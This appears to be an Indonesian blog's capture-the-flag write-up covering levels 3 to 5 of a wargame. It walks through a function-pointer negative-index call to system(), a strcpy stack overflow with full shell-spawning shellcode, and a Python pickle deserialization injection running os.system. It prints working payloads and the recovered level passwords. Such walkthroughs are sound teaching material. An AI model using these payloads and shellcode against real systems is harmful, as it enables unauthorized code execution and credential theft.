Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.

Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.

Ternyata penyebabnya adalah non-executable stack:
$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv
Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.

Cara 2
Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().
int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}
Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.
level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>'
0804875b <run>:
Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:
cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08
Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).
$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
 
Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
    at level03.c:62
 
(gdb) x/12xw &buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b <run>
Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().
Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().
$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP
Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.
Level 04
Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password
Congratulations on making it to level 4!
 
The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!
Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Source code dari aplikasi ini adalah:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}
 
int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}
Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.
Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:
[1036 byte shellcode + lain2] + [4 byte return address]
Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?

Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.
Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.
$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax
Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.
Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"
Sekarang payload sudah siap, bisa langsung kita coba.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317
Level 05
Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.
Congratulations on making it to level 5! You're almost done!
 
The password for the next (and final) level is in /home/level06/.password.
 
As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:
 
  curl localhost:9020 -d 'hello friend'
  {
      "processing_time": 5.0067901611328125e-06,
      "queue_time": 0.41274619102478027,
      "result": "HELLO FRIEND"
  }
 
You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.
 
Could it be that this seemingly innocuous service will be level06's
downfall?
Source code aplikasi ini adalah:
#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
 
LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))
 
TMPDIR = '/tmp/level05'
 
 
class Job(object):
    QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
    QUEUE_RESULTS = os.path.join(TMPDIR, 'results')
 
    def __init__(self):
        self.id = self.generate_id()
        self.created = time.time()
        self.started = None
        self.completed = None
 
    def generate_id(self):
        return ''.join([random.choice(string.ascii_letters) for i in range(20)])
 
    def job_file(self):
        return os.path.join(self.QUEUE_JOBS, self.id)
 
    def result_file(self):
        return os.path.join(self.QUEUE_RESULTS, self.id)
 
    def start(self):
        self.started = time.time()
 
    def complete(self):
        self.completed = time.time()
 
 
class QueueUtils(object):
    @staticmethod
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job
 
    @staticmethod
    def serialize(direction, data, job):
        serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
        logger.debug('Serialized to: %r' % serialized)
        return serialized
 
    @staticmethod
    def enqueue(type, data, job):
        logger.info('Writing out %s data for job id %s' % (type, job.id))
        if type == 'JOB':
            file = job.job_file()
        elif type == 'RESULT':
            file = job.result_file()
        else:
            raise ValueError('Invalid type %s' % type)
 
        serialized = QueueUtils.serialize(type, data, job)
        with open(file, 'w') as f:
            f.write(serialized)
            f.close()
 
 
class QueueServer(object):
    # Called in server
    def run_job(self, data, job):
        QueueUtils.enqueue('JOB', data, job)
        result = self.wait(job)
        if not result:
            result = (None, 'Job timed out', None)
        return result
 
    def wait(self, job):
        job_complete = False
        for i in range(10):
            if os.path.exists(job.result_file()):
                logger.debug('Results file %s found' % job.result_file())
                job_complete = True
                break
            else:
                logger.debug('Results file %s does not exist; sleeping' % job.result_file())
                time.sleep(0.2)
 
        if job_complete:
            f = open(job.result_file())
            result = f.read()
            os.unlink(job.result_file())
            return QueueUtils.deserialize(result)
        else:
            return None
 
 
class QueueWorker(object):
    def __init__(self):
        # ensure tmp directories exist
        if not os.path.exists(Job.QUEUE_JOBS):
            os.mkdir(Job.QUEUE_JOBS)
        if not os.path.exists(Job.QUEUE_RESULTS):
            os.mkdir(Job.QUEUE_RESULTS)
 
    def poll(self):
        while True:
            available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
            for job_file in available_jobs:
                try:
                    self.process(job_file)
                except Exception, e:
                    logger.error('Error processing %s' % job_file)
                    traceback.print_exc()
                else:
                    logger.debug('Successfully processed %s' % job_file)
                finally:
                    os.unlink(job_file)
            if available_jobs:
                logger.info('Processed %d available jobs' % len(available_jobs))
            else:
                time.sleep(1)
 
    def process(self, job_file):
        serialized = open(job_file).read()
        type, data, job = QueueUtils.deserialize(serialized)
 
        job.start()
        result_data = self.perform(data)
        job.complete()
 
        QueueUtils.enqueue('RESULT', result_data, job)
 
    def perform(self, data):
        return data.upper()
 
 
class QueueHttpServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(404)
        self.send_header('Content-type','text/plain')
        self.end_headers()
 
        output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
        self.wfile.write(json.dumps(output))
        self.wfile.close()
 
    def do_POST(self):
        length = int(self.headers.getheader('content-length'))
        post_data = self.rfile.read(length)
        raw_data = urllib.unquote(post_data)
 
        queue = QueueServer()
        job = Job()
        type, data, job = queue.run_job(data=raw_data, job=job)
        if job:
            status = 200
            output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
        else:
            status = 504
            output = { 'result' : data }
 
        self.send_response(status)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
        self.wfile.write('\n')
        self.wfile.close()
 
def run_server():
    try:
        server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
        logger.info('Starting QueueServer')
        server.serve_forever()
    except KeyboardInterrupt:
        logger.info('^C received, shutting down server')
        server.socket.close()
 
def run_worker():
    worker = QueueWorker()
    worker.poll()
 
def main():
    parser = optparse.OptionParser("""%prog [options] type""")
    parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
                      dest='verbosity', action='count', default=0)
    opts, args = parser.parse_args()
    if opts.verbosity == 1:
        logger.setLevel(logging.INFO)
    elif opts.verbosity >= 2:
        logger.setLevel(logging.DEBUG)
 
    if len(args) != 1:
        parser.print_help()
        return 1
 
    if args[0] == 'worker':
        run_worker()
    elif args[0] == 'server':
        run_server()
    else:
        raise ValueError('Invalid type %s' % args[0])
 
    return 0
 
if __name__ == '__main__':
    sys.exit(main())
Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.
Problem utamanya adalah pada fungsi deserialize() di bawah ini:
1
2
3
4
5
6
7
8
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job
Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.
Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:
curl localhost:9020 -d 'testdata'
Berikut ini adalah log yang terlihat:
1
2
Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb."
TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <--
Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan bagian dari field job.
Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:
cos
system
(S'cat /etc/passwd'
tR.
String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.
Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?
Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input string yang mengandung karakter ‘;’ seperti ini:
curl localhost:9020 -d 'inidata; job: inijob'
Berikut adalah log yang terlihat:
Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--
Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ‘;’ dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’ menjadi bagian dari field job.
Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.
$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
    "result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj
 

HackFacebook

Hack facebook, gmail, twitter

Cari Artikel Blog